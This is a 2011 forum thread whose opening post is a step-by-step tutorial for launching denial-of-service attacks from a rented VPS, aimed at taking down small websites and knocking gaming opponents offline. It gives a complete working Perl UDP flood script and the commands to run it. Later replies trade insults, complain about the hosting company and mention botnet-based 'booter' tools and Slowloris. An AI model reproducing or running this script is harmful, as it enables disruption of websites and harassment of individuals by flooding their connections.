Thread: [Putty Dos setup, No shells or Bots needed, Strong Dos](#)

The Invoker - November 27, 2011, 12:14 am

Source: <http://codertrick.blogspot.com/2011/08/tut-dos-via-putty-no-shells-or-bots.html>

If set this up right to take down small sites and almost every opponent off XBL , PSN even take down CSS servers. Allowing you to hold a person offline for as long as you want with no restrictions whats so ever.

Following these steps provided below you should have your vps setup for Dos in no longer then 10minutes

Step#1:

Ordering your vps..

Choose any location but usa ! then choose Ubuntu as operating system leave everything else the same fill out info then check out.

<https://clients.santrex.net/cart.php?gid=27>

Step#2 :

Download putty "putty.exe"

<http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html>

Step#3:

Your info..

once you got your vps info put your vps ip on the top of putty bar then proceed by clicking open.A white screen should pop up click ok

[img]<http://img845.imageshack.us/img845/1026/puttydos1.png>[/img]

Step#4:

Logging in putty

Once you have clicked ok on that white pop up ,a black screen asking for username should show up use

Code username:root

Then click enter, Then screen asking for password use your vps password then click enter.

Step#5:

Installing perl

Copy paste the command below to your putty then press enter, once you have done that you should see a whole bunch of stuff like image below. its going to ask if you want to continue press "y" then enter

If it says perl is already installed then you dont have to worry about this step

Code sudo apt-get install perl

[img]<http://img713.imageshack.us/img713/7392/puttyperly.png>[/img]

Step#6:

Perl Dos script

Copy the code script below and save it to your notepad as "dos.pl"

Code #!/usr/bin/perl

##

illegal things.

##

use Socket;

use strict;

my (\$ip,\$port,\$size,\$time) = @ARGV;

my (\$iaddr,\$endtime,\$psize,\$pport);

\$iaddr = inet_aton("\$ip") or die "Cannot resolve hostname \$ip\n";

\$endtime = time() + (\$time ? \$time : 100);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding \$ip " . (\$port ? \$port : "random") . " port with " .

(\$size ? "\$size-byte" : "random size") . " packets" .

(\$time ? " for \$time seconds" : "") . "\n";

print "Break with Ctrl-C\n" unless \$time;

for (;time() <= \$endtime;) {

 \$psize = \$size ? \$size : int(rand(1024-64)+64) ;

 \$pport = \$port ? \$port : int(rand(65500))+1;

 send(flood, pack("a\$psize","flood"), 0, pack_sockaddr_in(\$pport, \$iaddr));}

Step#7:

Installing the script

Next on your putty copy paste the code below and press enter, and a black screen should show up.

Next Copy & paste script from step #6 and press (ctrl x) "y" then "enter"

Now your done .

Code nano dos.pl

Step#8:

Commands & how to Dos

Code perl dos.pl (ip) (port) (65500) (seconds)

Should look like this

Code perl dos.pl 123.456.789.10 80 65500 60

Press enter to start flood .you can either leave seconds blank and use "ctrl c" to stop the flood

If all went well you should this "Flooding 123.456.789.10 80 port with 6550-byte packets for 60 seconds"

Please take your bag and gtfo from this forum , kid.

get back to your seat kid, alright son ?

Kids in the back seat should stay quiet ?

I said your strong DOS is easily blocked by IPTables ConnLimit/Firewall

U even have not arguments and opening "Agro mode"

Now gtfo please ?

Kid calling BIG RuleZzZ Kid, how sad. All forum hates me because i am not kid and teaching them things, they are "Mad" like you . Please Delete this useless thread and if you want to become "1337 Hacker" don't use such Idiot methods.

Good morning? Psh I still need to goto sleep. =/

Pinch - November 27, 2011, 4:17 am

Santrex is the worst "company" you can order a VPS from.

I used to do this though, even though my VPS from Santrex got suspended after a day.
(I only used the perl command once aswell,lol)

Lith - November 27, 2011, 4:20 am

Santrex? LMAO. Yeah, might as well go with No Uptime.

Pinch - November 27, 2011, 4:38 am

So true, lol.

When I was moving on to check out IRC servers, Santrex couldn't even handle it for more then 5 mins, then I had to restart it lol.

Go with Spacerich.... like srsly, Santrex is horrible.

gvozdenni - November 27, 2011, 5:19 am

How to protect from this attack on windows server 2003 ?

Vater - November 27, 2011, 6:11 am

The only reason people use santrex is because they are fucking cheap. But their is a reason why they are and one of them is the fact that they suck.

There's a source on my thread's header and footer. Have a nice day, and hopefully you'll get eyes to read before judgmental.

I_am_DdoseR - November 27, 2011, 8:27 am

BitchGotOwned, idiot and Kid calling me KID.

I Said good argument , your Kiddy methods suck against every weak website with

Iptables/WipFw Connlimit settings. Now gtfo please , all u idiots are skids booting XBL.

Please -rep me because i am smarter than you idiots , thanks.

What's bad in using XR hostbooter? It is stable and ddosing strong,

I was using 4.2 on dedi + 5k bots and Slowloris worked perfectly to me.

Now when i do my "tricks" to 5.1 version i need just server to edit it and start hosting it on VDS again.

?
